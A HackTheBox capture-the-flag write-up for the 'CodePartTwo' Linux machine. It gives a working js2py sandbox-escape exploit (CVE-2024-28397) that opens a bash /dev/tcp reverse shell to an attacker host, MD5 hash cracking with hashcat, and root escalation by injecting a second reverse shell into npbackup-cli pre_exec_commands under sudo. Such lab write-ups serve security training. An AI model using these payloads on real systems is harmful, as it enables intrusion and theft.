# CodePartTwo Writeup - HackTheBox

> Exploit a second-stage code execution challenge on Linux by analyzing decompiled logic, crafting input to bypass checks, and achieving shell access.

- **URL:** https://hackindex.io/writeups/codeparttwo
- **Platform:** HackTheBox
- **Difficulty:** Easy
- **Operating system:** Linux
- **Machine:** https://hacktheboxltd.sjv.io/codeparttwo
- **Tags:** rce, binary-exploitation, reverse-engineering, privilege-escalation, sudo-misconfiguration, hash-cracking, cve-2024-28397
- **Authors:** [Joshua](https://hackindex.io/authors/joshua.md)
- **Read time:** 3 min read
- **Published:** 2026-02-23
- **Updated:** 2026-07-29

## Discovery

### Port Scan

```bash
scan_tcp_full $TARGET_IP
# PORT     STATE SERVICE VERSION
# 22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
# 8000/tcp open  http    Gunicorn 20.0.4
# |_http-title: Welcome to CodePartTwo
```

Two ports. SSH and a Python web app on 8000. Browse to `http://$TARGET_IP:8000` ,  it's a JavaScript code editor with register/login functionality. The landing page advertises the app as open-source and offers a direct download link.

### Source Code Review

The `/download` route serves `app.zip` without authentication:

```bash
curl http://$TARGET_IP:8000/download -o app.zip
unzip app.zip
```

`requirements.txt` immediately stands out:

```
flask==3.0.3
flask-sqlalchemy==3.1.1
js2py==0.74
```

`js2py==0.74` is vulnerable to CVE-2024-28397, a sandbox escape allowing arbitrary Python code execution. The relevant route in `app.py`:

```python
@app.route('/run_code', methods=['POST'])
def run_code():
    try:
        code = request.json.get('code')
        result = js2py.eval_js(code)
        return jsonify({'result': result})
    except Exception as e:
        return jsonify({'error': str(e)})
```

User-supplied JavaScript is passed directly to `js2py.eval_js()`. Execution is confirmed with a quick test:

```bash
curl -X POST http://$TARGET_IP:8000/run_code \
  --data='{"code": "1+1"}' \
  -H 'Content-Type: application/json'
# {"result": 2}
#
```

The endpoint is reachable without authentication. The attack surface is clear.

## Initial Access

### CVE-2024-28397 ,  js2py Sandbox Escape RCE

CVE-2024-28397 abuses js2py's JavaScript-to-Python bridge. By walking Python's class hierarchy from within JavaScript, it's possible to reach `subprocess.Popen` and execute arbitrary OS commands despite `js2py.disable_pyimport()` being set.

The exploit payload traverses `__class__.__base__.__subclasses__()` until it finds `subprocess.Popen`, then calls it directly with a reverse shell command.

Save the following as `exploit.js`:

```javascript
let cmd = "bash -c '/bin/bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'"
let hacked, bymarve, n11
let getattr, obj

hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__

function findpopen(o) {
    let result;
    for (let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i]
        if (item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item
        }
        if (item.__name__ != "type" && (result = findpopen(item))) {
            return result
        }
    }
}

n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
function f() {
    return n11
}
```

Start a listener:

```bash
nc -lvnp $ATTACKER_PORT
```

Send the payload:

```bash
curl -X POST http://$TARGET_IP:8000/run_code \
  -H 'Content-Type: application/json' \
  --data "{\"code\": \"$(cat exploit.js)\"}"
```

Shell lands as the app service user. Stabilise it:

```bash
python3 -c 'import pty;pty.spawn("/bin/bash")'
```

## Lateral Movement

### SQLite Credential Extraction

The app uses SQLite at `instance/users.db` relative to the application root. The database contains a `user` table with MD5-hashed passwords. Inspecting it reveals one account:

| username | password_hash |
| --- | --- |
| marco | `$MARCO_HASH` |

MD5 is unsalted. Crack it with hashcat:

```bash
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt
# $MARCO_HASH:$MARCO_PASSWORD
#
# Session..........: hashcat
# Status...........: Cracked
# Hash.Mode........: 0 (MD5)
# Time.Started.....: Fri Jan  9 07:05:12 2026 (0 secs)
```

### SSH as marco

```bash
ssh marco@$TARGET_IP
```

Password is `$MARCO_PASSWORD`. It works ,  the hash cracked to a plaintext password that marco reused on his system account.

## Privilege Escalation

### npbackup-cli `pre_exec_commands` Injection

Check sudo rights:

```bash
sudo -l
# User marco may run the following commands on codeparttwo:
#     (ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli
```

Marco can run `npbackup-cli` as root without a password. A backup config file `npbackup.conf` is present in the home directory. `npbackup-cli` supports a `pre_exec_commands` directive that runs shell commands before the backup job starts ,  as whatever user invokes it.

Copy the config and inject a reverse shell into `pre_exec_commands`:

```bash
cp npbackup.conf malicious.conf
```

Edit `malicious.conf` ,  find `pre_exec_commands` under the `default_group` section and change it to:

```yaml
pre_exec_commands:
- /bin/bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'
```

Start a listener:

```bash
nc -lvnp $ATTACKER_PORT
```

Trigger the backup with the malicious config:

```bash
sudo /usr/local/bin/npbackup-cli -c malicious.conf -b -f
# root@codeparttwo:/home/marco#
#
```

Root shell.

Related

## References

- [https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape](https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape) -  PoC and technical breakdown of CVE-2024-28397
- [https://nvd.nist.gov/vuln/detail/CVE-2024-28397](https://nvd.nist.gov/vuln/detail/CVE-2024-28397) - NVD, CVE-2024-28397 js2py sandbox escape
